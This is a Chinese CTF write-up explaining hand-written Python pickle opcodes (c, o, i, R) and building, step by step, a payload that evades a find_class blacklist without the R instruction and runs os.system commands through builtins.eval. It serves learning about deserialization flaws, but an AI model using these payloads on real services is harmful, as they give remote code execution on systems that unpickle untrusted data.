手撸 opcode
前言
自己立的 flag,哭着也要完成不是,见上一篇文章 极客巅峰2021 web opcode,还是以这个题为例 opcode.tar.gz,在禁用了 R 指令的情况下绕过 find_class 黑名单的限制
推荐一篇文章 pickle反序列化初探 - 先知社区 (aliyun.com),真的写得太详细了,师傅很贴心的用了动图给我们观察栈的变化,还有每个指令的详细介绍,认真看完手撸完全不是问题
我这里主要是记录一下自己所学,完成 在禁用了 R 指令的情况下绕过 find_class 黑名单限制 的 payload,所以只着重介绍了一下 R、i、o 指令的用法,其他详细的 opcode 编写方法,还是请阅读推荐文章
一、opcode 指令介绍
opcode 现在共六个版本,而高版本向低版本兼容,所以我们直接学习 v0 就行了,其他版本都有不可见字符,既不利于理解,也有可能造成不必要的麻烦
关于 find_class,当出现 c、i、b’\x93’(当然,v0 的话,b’\x93’ 就不用管了)时才会被触发
具体指令的介绍如下,这里只摘录一些会用到的指令,更多指令介绍请前往前面介绍的文章中学习
| opcode | 描述 | 写法 | 栈变化 |
|---|---|---|---|
| c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据为callable 第二个参数到第n个数据为参数 | (c[module]\n[callable]\nS’arg1’\nS’arg2’\no. | 这个过程中涉及到的数据都出栈,函数返回值入栈 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(为元组),调用函数 | c[module]\n[callable]\n(S’arg’\ntR. | 函数和参数出栈,函数的返回值入栈 |
| i | 相当于c与o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数 | (S’arg1’\nS’arg2’\ni[module]\n[callablel]\n | 这个过程中涉及到的数据都出栈,函数返回值入栈 |
| S | 实例化一个字符串对象 | S‘string’ | 获得的对象入栈 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为列表 | (S’arg1’\nS’arg2’\nt | MARK标记以及被组合的数据出栈获得对象入栈 |
| . | 程序结束,栈顶的元素作为pickle.loads()的返回值 | . | 无 |
可用来调用函数的指令有 R、o、i,模板如下:
# __import__("builtins").print('a', 'b')
R = b'''cbuiltins
print
(S'a'
S'b'
tR.
'''
o = b'''(cbuiltins
print
S'a'
S'b'
o.
'''
i = b'''(S'a'
S'b'
ibuiltins
print
.
'''
上面的三个字符串反序列化的效果都是 print('a', 'b'),但是写法区别还是蛮大的,在分析栈变化情况前,我们先来看看值得注意的点
- 只有 i 指令中没有用到 c 指令,c 指令的作用是导入 模块中的实例,i 指令包含 导入和执行
- 没有指令可以直接导入 模块、实例等,必须是 模块加实例 的方式
- 三个指令的 “ ( ” (标记MARK)位置不同
- R 指令的 MARK 标记在第一个参数的开始,用 t 指令将所有参数打包为 元组,传给 c 导入的函数
- o 指令的 MARK 标记在 c 指令前,先选取前面两个字符串为 模块.函数,然后后面的都是参数
- i 指令的 MARK 标记也在最前,标记为参数,然后 i 指令后面的两个字符串为 模块.函数
我们再来分析一下三个指令执行过程中栈的变化
- R 指令:
- 先将 builtins.print 压栈
- 再将 MARK 标记压栈
- 再将字符串 ‘a’、‘b’ 分别压栈
- 执行 t 指令,将 ‘b’、‘a’、MARK 出栈,有 MARK 出栈就会停止,组合为 (‘a’, ‘b’) 这样一个元组再入栈
- 执行 R 指令,(‘a’, ‘b’) 与 builtins.print 出栈,执行 print(‘a’, ‘b’),结果压栈,即 print 的返回值 None
- o 指令
- 先将 MARK 标记压栈
- 再将 builtins.print 压栈
- 再将 ‘a’、‘b’ 分别压栈
- 执行 o 指令, ‘b’、‘a’、builtins.print、MARK,分别出栈,执行 print(‘a’, ‘b’),结果压栈
- i 指令
- 先将 MARK 压栈
- ‘a’、‘b’ 分别压栈
- builtins.print 压栈
- 执行 print(‘a’, ‘b’),结果压栈
有时候 opcode 比较复杂,可能会被绕晕,这里有个工具 pickletools,其中 optimize 方法可以帮我们优化 opcode,dis 方法可以帮我们将 pickle 的符号化反汇编数据输出,效果如下
import pickletools
R = b'''(cbuiltins
print
S'a'
S'b'
o.
'''
print(pickletools.optimize(R))
pickletools.dis(R)
# 输出
# b"(cbuiltins\nprint\nS'a'\nS'b'\no."
#
# 0: ( MARK
# 1: c GLOBAL 'builtins print'
# 17: S STRING 'a'
# 22: S STRING 'b'
# 27: o OBJ (MARK at 0)
# 28: . STOP
# highest protocol among opcodes = 1
dis 方法很直观的给我们展现了 opcode 的执行方式,可以看到,o 指令找到了位置为 0 的 MARK,根据执行我们对 o 指令的了解,知道是执行了 builtins.print,参数为 ‘a’、‘b’
二、编写 payload
builtins.getattr(builtins, 'eval')("__import__('os').system('pwd')") 这样子构造 payload,用到 c 指令导入的就只有 builtins.getattr 和 builtins,但是 builtins 并不能直接导入,所以需要去获取
获取 builtins 的 方式:builtins.getattr(builtins.dict, 'get')(builtins.globals(), 'builtins')
也就是说,我们将 builtins.getattr(builtins.getattr(builtins.dict, 'get')(builtins.globals(), 'builtins'), 'eval')("__import__('os').system('pwd')") 编写为不含 R 指令的 opcode,就可以达到绕过的目的了
参考推荐文章中的绕过 find_class 的 payload:
b’’‘cbuiltins
getattr
p0
(cbuiltins
dict
S’get’
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S’builtins’
tRp3
0g0
(g3
S’eval’
tR(S’__import__(“os”).system(“whoami”)’
tR.
‘’’
这个比较复杂,我们可以分步骤编写
首先是最外层的 function("__import__('os').system('pwd')")
b'''(
S'__import__("os").system("whoami")'
o.
'''
然后是外层的 builtins.getattr
b'''((cbuiltins
getattr
arg1
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''
继续完成 arg1
b'''((cbuiltins
getattr
(function
arg1
S'builtins'
o
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''
function 的 arg1,这里是,使用 o 指令的话,没有参数就不用写,如果是 R 指令,需要用 ) 压入一个空元组
b'''((cbuiltins
getattr
(function
(cbuiltins
globals
o
S'builtins'
o
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''
最后的 function,也就是内层的 builtins.getattr
b'''((cbuiltins
getattr
((cbuiltins
getattr
cbuiltins
dict
S'get'
o
(cbuiltins
globals
o
S'builtins'
o
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''
去掉多余的换行就是最终的 payload 了,可以看到,每个 c 指令的后面的都是 builtins,并且调用的实例并没有在黑名单中
b'''((cbuiltins
getattr
((cbuiltins
getattr
cbuiltins
dict
S'get'
o(cbuiltins
globals
oS'builtins'
oS'eval'
oS'__import__("os").system("whoami")'
o.
'''
这里需要注意的是,在测试的时候如果没有导入 builtins,builtins.globals() 将返回 None,程序会报 AttributeError: 'NoneType' object has no attribute 'eval' 错误
总结
在学习过程中,发现手写的 opcode 真的可以干很多事儿,师傅们总结得已经很到位了,我这里就不献丑了
学习之前我还在想,没有 R 指令是不是不可以绕过,为什么题目不考,网上也没找到文章,学习之后发现,R 指令能做到的,i、o 指令都能做到
838

被折叠的 条评论
为什么被折叠?



